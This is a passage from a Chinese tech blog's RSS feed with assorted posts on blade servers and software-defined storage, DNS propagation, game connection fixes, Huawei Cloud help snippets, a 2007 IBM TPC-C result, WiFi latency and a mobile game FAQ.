      <description>服务器制造商正在不断开发刀片技术，因此刀片服务器的处理器性能和内存容量已达到10年前的超级计算机水平。毫无疑问，刀片服务器曾经实现了“事半功倍”的承诺，但现在需要重新考虑这个问题。&#xA;人们为什么在虚拟主机的开发中更喜欢刀片服务器&#xA;使刀片服务器缺乏吸引力的主要原因是存储，或更准确地说，是虚拟存储设备。多年以来，在刀片式存储区域网络(SAN)中停止使用机架式服务器和本地磁盘后，现在需要重新考虑此问题。像许多其他技术一样，本地存储也变得越来越便宜。同时，软件的开发也促进了虚拟存储设备的出现。&#xA;为什么刀片服务器在虚拟数据中心中很受欢迎？&#xA;与机架服务器相比，刀片服务器更高效且更易于管理。但是，大多数刀片服务器存储受其可容纳的硬盘驱动器数量的限制。直到今天，我还认为这是一个优势。很久以前，数据中心体系结构不再使用这种在本地硬盘驱动器上存储数据的方法。将数据存储在本地硬盘驱动器或直接连接的存储设备上会降低效率，使数据保护和数据复制等任务更加复杂。随着存储设计趋势逐渐转向集中式SAN，许多服务器在部署时并未安装本地硬盘，这使我们无法忽略服务器虚拟化的影响。虚拟服务器的灵活性基于集中式存储，并且物理服务器上仅运行小型管理程序操作系统。但是，哪些因素会使人们重新考虑这种经过验证的可靠的无盘服务器体系结构和集中式存储呢？它是存储设备的扩展。&#xA;LeftHand Networks启动了其虚拟存储设备。这种类型的设备可以结合VMware ESX主机上的本地存储，使其成为集中式iSCSI存储设备。这提供了集中管理和冗余存储环境，同时避免了与在本地磁盘上运行的存储操作系统相关的许多风险。这引起了虚拟化领域的大规模讨论，不久惠普又收购了LeftHand Networks。不幸的是，惠普的最初目的是保护其在SAN技术上的现有投资。当惠普在其存储产品中添加LeftHand操作系统时，虚拟存储设备似乎就被搁置了。&#xA;虚拟存储技术的新时代&#xA;几年后，Nutanix进入了市场。通过使用虚拟存储技术，Nutanix将PCI闪存和刀片服务器中的本地磁盘组合在一起，以将每个刀片服务器中的本地存储组合到一个集中式资源池中。它与LeftHand产品非常相似，但是Nutanix的存储产品基于软件驱动的方法，通过简单的方法和低成本的本地存储来形成易于管理和灵活的集中式存储。将新主机添加到环境时，每个新主机都会将其本地存储添加到集中式资源池。&#xA;最近，Simplivity还推出了具有类似存储功能的产品线。尽管他们使用的技术在许多方面有所不同，但Nutanix和SimpliVity都是基于软件的，它们使用来自每个服务器的本地直接连接的磁盘来构建集中式存储。两家供应商都将告诉您他们的存储解决方案基于软件，而不是硬件。&#xA;VMware的vSphere Storage Appliance使用类似的方法，尽管不是在企业级别(至少现在不是)。在vSphere 5.5中，VMware引入了虚拟SAN。存储巨头EMC并不甘落后，推出了Scalelo。 Virtual SAN和ScaleIO均使用物理服务器上的本地存储资源来创建集中式存储设备。&#xA;惠普(LeftHand)，Nutanix，Simplivity，VMware和EMC均使用软件定义的存储。但是Nutanix和Simplivity现在仅适用于特定的硬件设备。 HP StoreVirtual VSA-原始的LeftHand VSA仍在其产品线中-VMware的Virtual SAN和EMC的Scalelo可以在多种硬件上运行。当然，您运行的刀片服务器必须具有本地磁盘。&#xA;这是刀片服务器现在面临的挑战。即使大多数刀片服务器都可以满足HP，VMware和EMC软件定义的存储产品的需求，但它们可为资源池提供的磁盘数量却非常有限。这项技术可以有效地将服务器转变为存储仓库。现在很容易发现您不再使用刀片服务器，而是使用更新的2U机架服务器来构建存储池。最多可以安装24个磁盘。我对刀片服务器还是有感觉的。它们在工作效率和管理方法上仍然具有很大的优势，尤其是在像Cisco UCS这样的体系结构中。</description>
    </item>
    <item>
      <title>域名DNS服务器修改后多长时间生肖,域名解析一般多长时间生效 | 帮助信息-动天数据...</title>
      <link>https://bchobby.github.io/posts/944ea80fb04f84abdd3e63f0066ceddd/</link>
      <pubDate>Fri, 13 Aug 2021 02:19:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/944ea80fb04f84abdd3e63f0066ceddd/</guid>
      <description>域名解析一般多长时间生效&#xA;作者：dthost |&#xA;时间：2015-07-02 |&#xA;8,387 次阅读&#xA;域名注册成功以后需要解析后才可以使用，很多用户可能对解析不是很清楚，认为解析以后就可以马上使用，所以租用虚拟主机后，然后要马上打开自己的域名访问，结果可想而知，肯定打不开。我们今天来帮大家科普下这个：域名解析一般多长时间生效，多长时间可以正常访问网站。&#xA;你需要先进行域名解析，一般域名DNS提供商都写默认的TTL，你可以自己更改TTL，可以为600 900 1000等等，数值越小，生效时间越快，但是不是越小越好，因为，你域名DNS设置时间太短，域名DNS就需要经常去刷新DNS服务器，这样导致的问题是，DNS服务器就没那么稳定了，如果有点风吹曹东你网站就打不开了。&#xA;一般万网的TTL是600 万网说明是10分钟生效(实际的话一般是10分钟，当然有时候有些地区比较慢，是要几个小时的，我们可以看下万网的域名解析帮助提示)&#xA;万网的域名解析生效原理是这样的：&#xA;域名的解析生效，第一步是万网DNS必须首先生效，然后等待世界各地Local DNS生效，可以通俗的理解为各大电信运营管理的DNS需要及时同步万网DNS解析记录，才能最终生效。 网站是否能访问，直接相关的是Local DNS，万网云解析都是实时生效的，一般只需几秒即可同步到各地Local DNS上，但各地Local DNS均有缓存机制，解析的最终生效取决于各运营商刷新时间。&#xA;从这个可以看出，更改TTL知识缩短了域名刷新的时间，并不能让域名马上解析马上使用，所以我们有时候出现问题是，有的地区生效了，有的地区没有生效，所以我们要多耐心等等。&#xA;还有的情况是域名解析了以后，提示一串英文，这个时候一般是由于没有绑定域名导致的，解析后，需要到虚拟主机管理，提交绑定的域名，一般绑定什么，需要解析什么，呼应的。&#xA;我们在给大家说下注意事项：&#xA;域名一般新添加的域名解析一般生效比较快。&#xA;域名更改里面的记录值的话，生效时间一般要2个小时，所以可以删除解析，在添加记录这样比较快。&#xA;更改域名DNS全国生效需要48个小时才能生效。&#xA;新网的域名默认DNS比较慢，是写的3600，大家如果想解析快点，可以更改解析值为600或者900.这样解析速度就快了。</description>
    </item>
    <item>
      <title>win10dnf黑屏显示连接服务器,笔者详解win10系统提示DNF正在连接服务器的设置技巧...</title>
      <link>https://bchobby.github.io/posts/423385e1e0fcd01f1d8d591f11114847/</link>
      <pubDate>Fri, 13 Aug 2021 02:07:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/423385e1e0fcd01f1d8d591f11114847/</guid>
      <description>我们在操作win10系统电脑的时候,常常会遇到win10系统提示DNF正在连接服务器的情况，想必大家都遇到过win10系统提示DNF正在连接服务器的情况吧，那么应该怎么处理win10系统提示DNF正在连接服务器呢？我们依照1、我们只要手动指定一个DNS服务器就行了。点击任务栏右下角的网络图标，然后点击‘打开网络和共享中心’。 2、打开后，点击左边的‘更改适配器设置’。这样的步骤就行了；下面小编带领大家看看win10系统提示DNF正在连接服务器的具体步骤：&#xA;具体如下：&#xA;1、我们只要手动指定一个DNS服务器就行了。点击任务栏右下角的网络图标，然后点击‘打开网络和共享中心’。&#xA;2、打开后，点击左边的‘更改适配器设置’。&#xA;3、右键本地连接，然后点击‘属性’。&#xA;4、选中ipv4，点击属性按钮。&#xA;5、在这里输入一个固定的dns地址：8.8.8.8。这样就行了，再次进入游戏吧。&#xA;win10系统提示DNF正在连接服务器的解决方法就为大家介绍到这里了。遇到类似问题的朋友们，不妨一起动手尝试看看！&#xA;到这里本文关于win10系统提示DNF正在连接服务器的解决方法就结束了，有遇到这样情况的用户们可以采取上面的方法步骤来解决，还有不明白的小伙伴可以留言给小编来帮你们解惑。&#xA;win10系统提示DNF正在连接服务器怎么解决&#xA;第一步在我们的电脑上鼠标右键网络连接图标，进去之后点击网络和共享中心，如下图所示：&#xA;第二步进去网络和共享中心界面之后，选择更改适配器设置，如下图所示：&#xA;第三步进去本地连接界面之后，鼠标右键，点击属性，如下图所示：&#xA;第四步进去win10系统本地连接属性界面之后，点击Internet协议版本4(TCP/IPv4)，如下图所示：&#xA;第五步进去Internet协议版本4属性界面之后，可以看到默认是自动获取DNS服务器，如下图所示：&#xA;第六步将自动获取DNS服务器改为“使用下面的DNS服务器地址”，首选DNS服务器设为“8.8.8.8”,点击确定就不再提示服务器正在连接，如下图所示：</description>
    </item>
    <item>
      <title>k3显示门户服务器地址未设置,k3 门户服务器地址未设置</title>
      <link>https://bchobby.github.io/posts/60ed5e712bd8d5e72f28ab3b1bc089cd/</link>
      <pubDate>Fri, 13 Aug 2021 01:22:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60ed5e712bd8d5e72f28ab3b1bc089cd/</guid>
      <description>k3 门户服务器地址未设置 内容精选&#xA;换一换&#xA;编译构建提供配置简单的混合语言构建平台，支持任务一键创建、配置和执行，实现获取代码、构建、打包等活动自动化。通过本章节，您将了解开发人员Chris如何使用编译构建服务构建环境镜像、将代码编译打包成软件包，以及通过代码变更触发自动构建来实现持续集成。样例项目中预置了如表1所示的5个编译构建任务。预置编译构建任务预置编译构建任务任务说明pho&#xA;获取ID Token。POST /api/v1/oauth2/token状态码： 200状态码： 400状态码： 200请求成功。示例 1{&#xA;&#34;access_token&#34; : &#34;ObUJh5mTPzL2XjZGyj4H2NpD...&#34;,&#xA;&#34;token_type&#34; : &#34;Bearer&#34;,&#xA;&#34;expires_in&#34; : 7200,&#xA;k3 门户服务器地址未设置 相关内容&#xA;获取Access Token，Access Token可用于调用获取用户信息API。POST /api/v1/oauth2/token状态码： 200状态码： 400状态码： 200请求成功。示例 1{&#xA;&#34;access_token&#34; : &#34;ZhC0e2BNSEo95ttXQaZrYtGc...&#34;,&#xA;&#34;token_type&#34; : &#34;&#xA;OneAccess支持通过身份源导入用户和组织信息，实现OneAccess实时同步身份源中用户和组织信息。本文为您介绍OneAccess集成钉钉身份源的方法。请确保您已拥有钉钉开放平台账号管理员权限。具体可参考钉钉开放平台的帮助文档。请确保您已拥有OneAccess管理门户的访问权限。在钉钉开放平台中创建小程序并配置参数，确保钉钉中的数据&#xA;k3 门户服务器地址未设置 更多内容&#xA;云服务器网络异常、防火墙未放行本地远程桌面端口、云服务器CPU负载过高等问题均可能导致云服务器无法正常登录。本节操作介绍无法登录Windows弹性云服务器的排查思路。当您的云服务器无法远程登录时，我们建议您首先检查是否可以通过控制台远程登录。再参考排查思路检查登录异常的原因。远程登录失败时，请首先尝试能否通过管理控制台，使用VNC方式登录&#xA;测试性能时，若分区的初始磁柱编号是非4KB对齐，则对性能影响较大，请先确保分区的初始磁柱编号已经4KB对齐，再开始测试。测试共享云硬盘性能时，必须满足以下要求：共享云硬盘必须同时挂载至多台云服务器(弹性云服务器或者裸金属服务器)。当共享云硬盘挂载至多台弹性云服务器时，这些弹性云服务器必须位于同一个策略为“反亲和性”的云服务器组内。如果弹性&#xA;云桥Agent作为一座“桥梁”，在企业内部服务和云上OneAccess之间建立了一条网络安全隧道，可以避免企业的内部服务直接暴露在公网上，从而有效的保护网络实体免受窃听和重复攻击等。云桥Agent暂不提供部署文件，如果有需要，请联系在线客服。目前，云桥Agent只支持AD认证源，本节主要介绍AD认证源通过云桥Agent访问OneAcces&#xA;OAuth(开放授权)是一个开放标准，允许用户授权第三方应用访问他们存储在资源服务器上的信息，而不需要将用户名和密码提供给第三方应用。本文主要介绍OneAccess以OAuth协议集成第三方认证源的方法。该配置流程以用户PC端访问用户门户为例，您可以按需选择应用和配置应用的认证方式，配置流程类似。请确保您已拥有OneAccess管理门户的&#xA;节点是指接入到平台的计算资源，包括虚拟机、物理机等。用户需确保所在项目节点资源充足，若节点资源不足，会导致创建工作负载等操作失败。已创建至少一个集群，请参见购买CCE集群。您需要新建一个密钥对，用于远程登录节点时的身份认证。若使用密码登录节点，请跳过此操作。创建方法请参见创建密钥对。若使用密码登录节点，请跳过此操作。创建方法请参见创建密钥&#xA;调用接口出错后，将不会返回结果数据。调用方可根据每个接口对应的错误码来定位错误原因。 当调用出错时，HTTP请求返回一个 4xx 或 5xx 的HTTP状态码。返回的消息体中是具体的错误代码及错误信息。在调用方找不到错误原因时，可以联系华为云客服，并提供错误码，以便我们尽快帮您解决问题。当接口调用出错时，会返回错误码及错误信息说明，错误响&#xA;本章介绍了如何添加运行CCE集群的节点池以及对节点池执行操作。要了解节点池的工作原理，请参阅节点池概述。将节点池添加到现有集群。计费模式：节点池仅支持按需计费的计费模式，该模式将根据实际使用的资源按小时计费。节点池创建后，自建的节点池里的资源无法转包周期，默认节点池里的资源可以转包周期。您可以把自建节点池里的资源迁移到默认的节点池里后再进&#xA;确保已按照配置Java环境配置完毕。确保已存在待识别的音频文件并上传OBS，示例音频可参考下载SDK压缩包文件，同时确保服务已授权访问OBS，可参考配置OBS服务。初始化AsrCustomizationClient，其参数包括AuthInfo和SisConfig，详见表 AuthInfo数据结构、表 SisConfig数据结构。请求类为A&#xA;为虚拟机配置网络环境使其能够连接互联网，上传安装包到虚拟机。宿主机可以连接互联网。已经通过远程桌面工具VNC Viewer等软件连接到宿主机。所需安装包已经上传至宿主机。安装vim软件、dkms包、linux--headers-xxx-common和linux-headers-xxx-amd64包(仅Debian需要执行此步骤)。安装vi</description>
    </item>
    <item>
      <title>服务器的虚拟化率,服务器虚拟化利用率</title>
      <link>https://bchobby.github.io/posts/c677d35036455dd360ff0ecf15ccc6a5/</link>
      <pubDate>Fri, 13 Aug 2021 01:10:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c677d35036455dd360ff0ecf15ccc6a5/</guid>
      <description>服务器虚拟化利用率 内容精选&#xA;换一换&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;本节定义了云耀云服务器上报云监控的监控指标的命名空间，监控指标列表，各项监控指标的具体含义与使用说明，用户可以通过云监控检索云耀云服务器服务产生的监控指标和告警信息。SYS.ECS对于不同的操作系统、不同的云耀云服务器类型，支持的监控指标有所差异，具体如表1所示。其中，√表示支持，×表示不支持。对于部分监控指标，需云服务器使用的镜像安装v&#xA;服务器虚拟化利用率 相关内容&#xA;本章节用于指导用户在云监控服务为弹性云服务器创建告警规则，当弹性云服务器设置CPU使用率超过80%时触发告警。登录管理控制台。单击“服务列表 &amp;gt; 云监控服务”。单击页面左侧的“主机监控”，进入主机监控页面。此时页面上显示了当前云平台上的弹性云服务器列表。此时页面上显示了当前云平台上的弹性云服务器列表。单击ECS主机所在栏右侧的“更多”按钮&#xA;概述通用入门型实例主要用于平时CPU都保持较低利用率而又需要瞬时冲高的场景，性能受到基准性能和CPU积分的约束，是成本最低的通用型实例。通用入门型实例性能受到基准性能和CPU积分的约束，请在使用前参考T6型弹性云服务器的CPU积分详细了解CPU积分的相关概念和T6实例规格的积分详情。了解更多CPU计算方法请参考CPU积分计算方法。使用须知&#xA;服务器虚拟化利用率 更多内容&#xA;传统的HPC使用中存在如下问题：投资成本高，扩容部署复杂，重复利用已有投资十分困难。应用复杂，资源预测困难，灵活性差，亟待提升效率。效率低下导致决策缓慢，失去市场、以及开发研究成果的良机。应用计算量快速膨胀，对性能要求越来越高。公有云上应用HPC场景，能充分利用云服务的优势。使用公有云进行高性能计算具有以下优势：降低TCO可以按需租用，成&#xA;网站的访问与云服务器的网络配置、端口通信、防火墙配置、安全组配置等多个环节相关联。任意一个环节出现问题，都会导致网站无法访问。本节操作介绍网站无法访问时的排查思路。网站无法访问怎么办？如果打开网站有报错提示信息，首先应该根据报错提示信息，排查可能的原因。您可以参考通用请求返回值中错误码说明排查可能原因。以下排查思路根据原因的出现概率进行排&#xA;网站的访问与云服务器的网络配置、端口通信、防火墙配置、安全组配置等多个环节相关联。任意一个环节出现问题，都会导致网站无法访问。本节操作介绍网站无法访问时的排查思路。网站无法访问怎么办？如果打开网站有报错提示信息，首先应该根据报错提示信息，排查可能的原因。您可以参考通用请求返回值中错误码说明排查可能原因。以下排查思路根据原因的出现概率进行排&#xA;随着云计算和虚拟化技术的发展，IT基础架构的管理向自服务管理、IT服务自动化、横向扩展的服务器、存储及网络架构管理、以及对不同技术领域的统一管理的方向转变。新一代的数据中心管理需求主要有：有效的控制物理服务器成本降低数据中心运营成本降低管理成本降低数据中心能耗解决数据中心业务上线周期长的现状兼顾不同厂商物理、虚拟资源统一管理提高数据中心基&#xA;企业客户在SAP应用及行业解决方案上面临的挑战：成本高：SAP应用服务器和HANA服务器一次性投入过高，企业机房每年的机房租金、电、运维等费用逐年增高，对企业来说不管是初期投入还是未来的持续投入都是一笔很高的费用。运维复杂、繁琐：SAP系统和硬件的运维都需要企业有一个专业的运维团队来实时分析问题，解决问题，但是对于很多企业来说，针对SAP&#xA;监控是保持弹性云服务器可靠性、可用性和性能的重要部分，通过监控，用户可以观察弹性云服务器资源。为使用户更好地掌握自己的弹性云服务器运行状态，公有云平台提供了云监控。您可以使用该服务监控您的弹性云服务器，执行自动实时监控、告警和通知操作，帮助您更好地了解弹性云服务器的各项性能指标。主机监控分为基础监控和操作系统监控。基础监控为ECS自动上报&#xA;随着云计算和虚拟化技术的发展，IT基础架构的管理向自服务管理、IT服务自动化、横向扩展的服务器、存储及网络架构管理、以及对不同技术领域的统一管理的方向转变。新一代的数据中心管理需求主要有：有效的控制物理服务器成本降低数据中心运营成本降低管理成本降低数据中心能耗解决数据中心业务上线周期长的现状兼顾不同厂商物理、虚拟资源统一管理提高数据中心基&#xA;本手册基于云容器引擎实践所编写，用于指导您已有应用的容器化改造。容器是操作系统内核自带能力，是基于Linux内核实现的轻量级高性能资源隔离机制。云容器引擎CCE是基于开源Kubernetes的企业级容器服务，提供高可靠高性能的企业级容器应用管理服务，支持Kubernetes社区原生应用和工具，简化云上自动化容器运行环境搭建。更高效的利用系&#xA;当您发现云服务器的运行速度变慢或云服务器突然出现网络断开现象，则可能是云服务器的带宽和CPU使用率过高导致。如果您已经通过云监控服务创建过告警任务，当CPU或带宽利用率高时，系统会自动发送告警给您。Linux实例带宽流量过高或CPU使用率高，您可以按如下步骤进行排查：问题定位：定位影响云服务器带宽和CPU使用率高的进程。问题处理：排查进程&#xA;当您发现云服务器的运行速度变慢或云服务器突然出现网络断开现象，则可能是云服务器的带宽和CPU使用率过高导致。如果您已经通过云监控服务创建过告警任务，当CPU或带宽利用率高时，系统会自动发送告警给您。Linux实例带宽流量过高或CPU使用率高，您可以按如下步骤进行排查：问题定位：定位影响云服务器带宽和CPU使用率高的进程。问题处理：排查进程&#xA;当您发现云服务器的运行速度变慢或云服务器实例突然出现网络断开现象，则可能是云服务器的带宽和CPU使用率过高导致。如果您已经通过云监控服务完成创建过告警任务，当CPU或带宽利用率高时，系统会自动发送告警给您。Linux云服务器实例带宽流量过高或CPU使用率高，您可以按如下步骤进行排查：问题定位：定位影响云服务器带宽和CPU使用率高的进程。问</description>
    </item>
    <item>
      <title>云服务器系统种类,云服务器系统种类</title>
      <link>https://bchobby.github.io/posts/2512242ffc72bf3ffeee367b93c19c36/</link>
      <pubDate>Fri, 13 Aug 2021 00:36:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2512242ffc72bf3ffeee367b93c19c36/</guid>
      <description>云服务器系统种类 内容精选&#xA;换一换&#xA;弹性云服务器(Elastic Cloud Server，ECS)是由CPU、内存、操作系统、云硬盘组成的基础的计算组件。弹性云服务器创建成功后，您就可以像使用自己的本地PC或物理服务器一样，在云上使用弹性云服务器。弹性云服务器的开通是自助完成的，您只需要指定CPU、内存、操作系统、规格、登录鉴权方式即可，同时也可以根据您的需求随时调整弹性&#xA;Windows操作系统的云服务器由于管理员设置的策略，该磁盘处于脱机状态，提示：由于管理员设置的策略，该磁盘处于脱机状态，如图1所示。Windows操作系统SAN策略分为三种类型：OnlineAll，OfflineShared，OfflineInternal对于部分版本的Windows操作系统(如Windows 2008/2012 企业版&#xA;云服务器系统种类 相关内容&#xA;Windows操作系统的云服务器由于管理员设置的策略，该磁盘处于脱机状态，提示：由于管理员设置的策略，该磁盘处于脱机状态，如图1所示。Windows操作系统SAN策略分为三种类型：OnlineAll，OfflineShared，OfflineInternal对于部分版本的Windows操作系统(如Windows 2008/2012 企业版&#xA;云服务器系统种类 更多内容&#xA;切换操作系统是为您的弹性云服务器重新切换一个系统盘。切换完成后弹性云服务器的系统盘ID会发生改变，并删除原有系统盘。如果弹性云服务器当前使用的操作系统不能满足业务需求(如软件要求的操作系统版本较高)，您可以选择切换弹性云服务器的操作系统。公有云平台支持不同镜像类型(包括公共镜像、私有镜像、共享镜像以及市场镜像)与不同操作系统之间的互相切换&#xA;待挂载的云硬盘与弹性云服务器属于同一可用区。如果是非共享盘，待挂载的云硬盘为“可用”状态。如果是共享盘，待挂载的云硬盘为“正在使用”状态或“可用”状态。如果是共享盘，待挂载的云硬盘为“正在使用”状态或“可用”状态。弹性云服务器的状态为“运行中”或“关机”。处于冻结状态的云硬盘，不支持挂载给弹性云服务器。设备类型为SCSI的云硬盘不能作为弹&#xA;请您在购买前确保已完成注册和充值。详细操作请参见如何注册公有云管理控制台的用户？登录管理控制台。单击管理控制台左上角的，选择区域和项目。选择“计算 &amp;gt; 弹性云服务器”。单击“购买弹性云服务器”。系统进入购买页。SAP HANA(High-Performance Analytic Appliance)是基于内存计算技术的高性能实时数据计算平&#xA;使用弹性云服务器携带其挂载的数据盘一起创建整机镜像，创建的整机镜像包含操作系统、应用软件，以及用户的业务数据，可用于快速发放相同配置的弹性云服务器，实现数据搬迁。创建整机镜像的流程：先为云服务器创建云服务器备份，再通过云服务器备份创建镜像，中间过程为系统自动完成的，您只需要耐心等待即可。创建整机镜像的时间与磁盘大小、网络状态、并发任务数等&#xA;云耀云服务器(Hyper Elastic Cloud Server，HECS)是可以快速搭建简单应用的新一代云服务器，具备独立、完整的操作系统和网络功能。提供快速应用部署和简易的管理能力，适用于网站搭建、开发环境等低负载应用场景。具有高性价比、易开通、易搭建、易管理的特点。云耀云服务器与弹性云服务器的主要区别：云耀云服务器：云耀云服务器是&#xA;查看用户的镜像类型，如果是公共镜像则排除私有镜像的源镜像问题。镜像类型单击“申请服务器”，查看能否创建出此镜像的弹性云服务器，申请完成后未出现此镜像对应的弹性云服务器，则此类镜像可能已经下线，属于老镜像。控制台不支持使用老镜像继续购买弹性云服务器，您需要将弹性云服务器的操作系统切换为当前在线的操作系统。&#xA;云耀云服务器与弹性云服务器的主要区别：云耀云服务器：云耀云服务器是可以快速搭建简单应用的新一代云服务器，云耀云服务器按已搭配的套餐售卖，适用于低负载应用场景，可以更加便捷、更加高效的部署、配置和管理应用。弹性云服务器：弹性云服务器提供多种计费模式、规格类型、镜像类型、磁盘类型，您可以针对不同的业务场景，自定义配置弹性云服务器。关键的区别如&#xA;共享云硬盘是一种支持多个云服务器并发读写访问的数据块级存储设备，具备多挂载点、高并发性、高性能、高可靠性等特点。主要应用于需要支持集群、HA(High Available，指高可用集群)能力的关键企业应用场景，多个云服务器可同时访问一个共享云硬盘。一块共享云硬盘最多可同时挂载至16台云服务器，云服务器包括弹性云服务器和裸金属服务器。实现文&#xA;弹性云服务器(Elastic Cloud Server，ECS)是由CPU、内存、操作系统、云硬盘组成的基础的计算组件。弹性云服务器创建成功后，您就可以像使用自己的本地PC或物理服务器一样，在云上使用弹性云服务器。华为云提供了多种类型的弹性云服务器，可满足不同的使用场景。在创建之前，您需要根据实际的应用场景确认弹性云服务器的规格类型，镜像&#xA;按需购买的两台同类型弹性云服务器(操作系统类型相同，如Windows和Windows，Linux和Linux)，关机卸载系统盘后，重新挂载至对方弹性云服务器，实现系统盘互换。互换成功后，弹性云服务器的登录密码或密钥可能会发生改变。此时，如何登录更换过系统盘的弹性云服务器？为了防止DHCP租期过长导致云服务器无法正确的获取地址，关机卸载系统&#xA;可以。平台近期对磁盘功能进行了升级，对于系统升级后创建的弹性云服务器，系统最多支持挂载60块磁盘。具体如下：创建弹性云服务器时，您可以为弹性云服务器添加24块磁盘。弹性云服务器创建成功后，可以最多添加60块磁盘。新创建弹性云服务器支持挂载的磁盘块数实例类型VBD盘块数(max)SCSI盘块数(max)约束XEN实例(除D1型)6059VB</description>
    </item>
    <item>
      <title>tpc-c 服务器性能,IBM创英特尔8处理器服务器TPC-C性能记录</title>
      <link>https://bchobby.github.io/posts/b14dc924e9ae427ea18535931c82972f/</link>
      <pubDate>Fri, 13 Aug 2021 00:26:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b14dc924e9ae427ea18535931c82972f/</guid>
      <description>(2007年4月)日前，IBM System x3950服务器在TPC-C基准测试中创造了基于8颗英特尔处理器的服务器性能新记录。(备注1) 通过在基于英特尔处理器的服务器市场中提供领先的性能，IBM巩固了在这一市场的强大优势。&#xA;在TPC-C在线交易处理基准测试中，System x3950服务器的tpmC测试值达到510,822。(备注1) 这一测试结果比Unisys ES7000 Enterprise Server高出了近47%。后者采用的是主频为3.0GHz 的英特尔至强处理器7041(8处理器/16核/32线程)，tpmC测试值为347,854。(备注2)&#xA;在这次基准测试中，System x3950服务器采用了主频为3.5GHz的英特尔双核至强处理器7150N(每核1MB L2 cache，每插槽16MB L3 cache)，运行Microsoft SQL Server 2005 Enterprise x64 Edition(SP1)和Microsoft Windows Server 2003 Enterprise x64 Edition。&#xA;(备注1) IBM System x3950服务器采用主频为3.5GHz 的英特尔至强处理器7150(8处理器/16核/32线程)，tpmC测试值510,822，$4.82USD / tpmC。&#xA;(备注2) Unisys ES7000 Enterprise Server采用主频为3.0GHz 的英特尔至强处理器7041(8处理器/16核/32线程)，tpmC测试值347,854，$3.28USD / tpmC。&#xA;查看全部TPC基准测试结果，请访问：www.tpc.org。&#xA;如需了解有关IBM的详情，请访问：www.ibm.com。</description>
    </item>
    <item>
      <title>流量卡wifi显示无服务器,为什么用流量不卡，用WiFi就容易卡？</title>
      <link>https://bchobby.github.io/posts/cba370a41865affc122af45a4f874f16/</link>
      <pubDate>Thu, 12 Aug 2021 23:40:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cba370a41865affc122af45a4f874f16/</guid>
      <description>原标题：为什么用流量不卡，用WiFi就容易卡？&#xA;最近在网上看到有位用户问了这样一个问题：为什么用流量不卡，用WiFi就容易卡？北京宽带通整合了一下相关资料，下面来简单解释一下其中缘由。&#xA;一、信号传输方式不同&#xA;手机流量的网络信号是直接通过通讯基站传输，不管是手机通话，还是上网，都是通过无线电磁波来传输的。WIFI信号除了基站，还需要经过网线光纤、路由器、传播介质(建材)等等传输，中间任意一个环节都会影响网速。比如天气原因、信号频段、网络高峰期、路由器本身、金属材料、运营商、手机自身等等都会导致Wi-Fi信号变慢变卡。&#xA;解决办法：我们在Wi-Fi信号变弱时，在房间里稍微调整终端设备的位置，就有可能改善Wi-Fi联机质量。而相较红砖、石头或混凝土材质的墙面，木材、石膏和玻璃这些是相对较易穿越的隔间材质！&#xA;二、网络延迟原因不同&#xA;手机流量网络节点少。手机信号到运营商基站，基站一般与运营商核心交换设备连接，直接接入干线网，因此延迟小。wifi，一般家庭开户申请的宽带。从干线网到运营商，然后运营商经过几级交换设备、协议转换到小区，由小区再到每户的光猫。而有的家庭由光猫出来，还有一到两级路由器，再加上光猫和个人购买路由器性能一般，有的运营商交换设备性能不好，小区用户特别多，交换机运行负荷大，造成网络延迟相对比较高。&#xA;解决办法：一是挑选好的宽带运营商，例如北京宽带通。二是购买好的路由器，有能力的更换光猫的也是可以。三是尽量减少网络节点设备，减少路由器和交换机等设备。四是家庭路由器使用宽带拨号桥接到运营商主干网。&#xA;责任编辑：</description>
    </item>
    <item>
      <title>猫和老鼠服务器未响应是怎么回事,猫和老鼠手游怎么玩不了 游戏设置及异常解决方法...</title>
      <link>https://bchobby.github.io/posts/25c7af2c93fb353d836719e03353ee38/</link>
      <pubDate>Thu, 12 Aug 2021 22:21:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25c7af2c93fb353d836719e03353ee38/</guid>
      <description>猫和老鼠手游出现异常玩不了怎么办？遇到游戏异常的问题，大家需要对处理这些问题的方法有一个基础的了解，包括游戏的一些设置技巧，都能在很大程度上帮助玩家更愉快的游戏，下面分享游戏的设置以及异常的解决方法。&#xA;猫和老鼠手游新手攻略大全&#xA;游戏基础设置篇&#xA;1、&#xA;Q：iOS用户和安卓用户是否可以同服一起玩?&#xA;A：iOS用户、安卓用户、不同渠道的用用户，都可以一起玩!所以记得邀请你的小伙伴一起玩耍哦。&#xA;2、&#xA;Q：安卓用户是否可以通过礼包码兑换礼包?iOS用户呢?&#xA;A：安卓用户可以在兑换界面通过礼包码兑换相应的礼包，iOS用户因App Store规则限制，不能制作礼包兑换，请谅解。&#xA;3、&#xA;Q：目前游戏内有哪些角色?&#xA;A：目前游戏中猫咪角色有汤姆、托普斯、布奇;老鼠角色有杰瑞、侦探杰瑞、罗宾汉杰瑞、海盗杰瑞、国王杰瑞、剑客杰瑞、泰菲。公测后还会有其他角色陆续和大家见面。&#xA;4、&#xA;Q：游戏支持的最基础配置信息是怎么样的?&#xA;A：目前《猫和老鼠》手游对配置的要求如下&#xA;5、&#xA;Q：《猫和老鼠》手游对蓝牙耳机支持吗?&#xA;A：目前游戏对蓝牙耳机的支持并不是很好，建议小伙伴们使用有线耳机或者外放。&#xA;6、&#xA;Q：比赛的胜负如何判断，每场比赛是否有时间的限制?&#xA;A：鼠胜利条件：搬运5块奶酪，砸开墙缝并逃脱2人或以上。&#xA;猫胜利条件：放飞3只老鼠，或在游戏时间结束时老鼠逃脱人数少于2人。&#xA;时间限制：每局游戏时间限制为910秒，若达到时间限制时游戏仍未结束，则猫获得胜利。&#xA;7、&#xA;Q：在游戏世界聊天频道里看到的玩家等级信息是最新的吗?&#xA;A：目前小伙伴们在世界聊天里看到的人物等级，并不是实时更新的，可以点开对方的个人资料，会显示正确的等级信息。&#xA;8、&#xA;Q：我不喜欢游戏内的语音，可以关闭吗?&#xA;A：游戏开启语音对话以后，音量无法调至静音，只能调到最低一格，不过在游戏的基础设置中选择关闭语音对讲就可以了。&#xA;9、&#xA;Q：道具过多，在拾取时会出错吗?